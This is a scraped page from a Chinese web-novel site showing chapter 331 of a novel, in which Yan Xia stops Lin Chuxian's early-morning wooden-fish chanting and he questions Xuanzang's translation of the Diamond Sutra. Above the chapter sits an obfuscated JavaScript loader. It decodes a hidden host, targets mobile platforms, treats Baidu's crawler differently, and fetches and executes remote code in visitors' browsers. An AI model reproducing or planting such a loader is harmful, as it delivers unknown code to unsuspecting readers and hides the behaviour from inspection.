妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第331章(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('林娇娇被林初弦怼得哑口无言,只能哭着去找颜夏。

这屋里的隔音真的太差了!

颜夏帮她搜了下怎么隔音,搜出来的答案全是需要重新搞一下装修。但是这是租的房子怎么可能行?

所以颜夏去帮她解决了林初弦,直接从源头解决问题。

林初弦还在努力挣扎,“夏夏,你想想,我要修行……”

颜夏说,“你这是修行还是扰民啊?萧大师都跟我说了,他根本没让你天天拿着个木鱼敲来敲去。”

林初弦说,“我这不是找不到路吗?我得模仿和尚平日的生活找一下感觉。”

颜夏没好气地说,“找个鬼。每天早上六点起来敲木鱼念经,也就是这栋楼只是套间内隔音差点,否则你信不信邻居都要打爆你的头?这种环境你还敢收娇娇一个月5000?”

本来颜夏就不赞同,也不肯帮他跟林娇娇说,她都在给林娇娇另外找房子住了,但是林初弦自己说服了林娇娇。

也不知道他是怎么跟林娇娇说的,可是会对租客日常生活造成困扰的二房东,就该送去凌迟。

林初弦觉得颜夏搞不好真要打爆他的头,只能无奈地答应了。

但是边敲木鱼边念经都找不到头绪,更别说就这么读了。他读读读,读不出师父要的“懂”啊。

为此,他连其他译本都看了,虽然想法更多,可是完全得不到任何的“悟”。

《金刚经》并不算一部多长的佛经。自鸠摩罗什开始,一直到唐朝,陆续出现六个译本。

他把六个版本都看了一遍。都说玄奘的版本最准确,但是林初弦看了以后却抱以怀疑的态度。

《金刚经》本来就是从梵语转译过来。都说玄奘取得真经归来,所以他最准确。拜托了,说得好像前面的几个译本都不是翻译过来,而是鸠摩罗什自己编的,其他人看着鸠摩罗什译本又编了一下一样。

鸠摩罗什的译本并不是完美的,虽然文字最好,但是他有时会脱落一两句话。但是整体来说,和除了玄奘以外的四个译本是差不多的。唯独玄奘,许多人都夸赞他文句最准确,因为他取得了真经,但这里有多少人是根本没看过原文,只是听过玄奘的名字就开始这么大谈特谈的呢?

玄奘的译本,比其他译本,多出了超出三分之一的内容。

先前说了,金刚经并不长,只是几千字而已,而玄奘的译本比其他人多了两三千字,这两三千字可不是译文啰嗦导致的,而是他出现了大量其他译本不存在的内容。

但是玄奘并不是最后一个去天竺求取真经的人。在他取经归来后大概半个世纪,唐代高僧义净因为仰慕法显和玄奘的事迹,也去天竺求取真经。而他翻译的《金刚经》版本,根本没有玄奘译本多出来的那些内容。

所以,玄奘的译本真的准确吗?

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间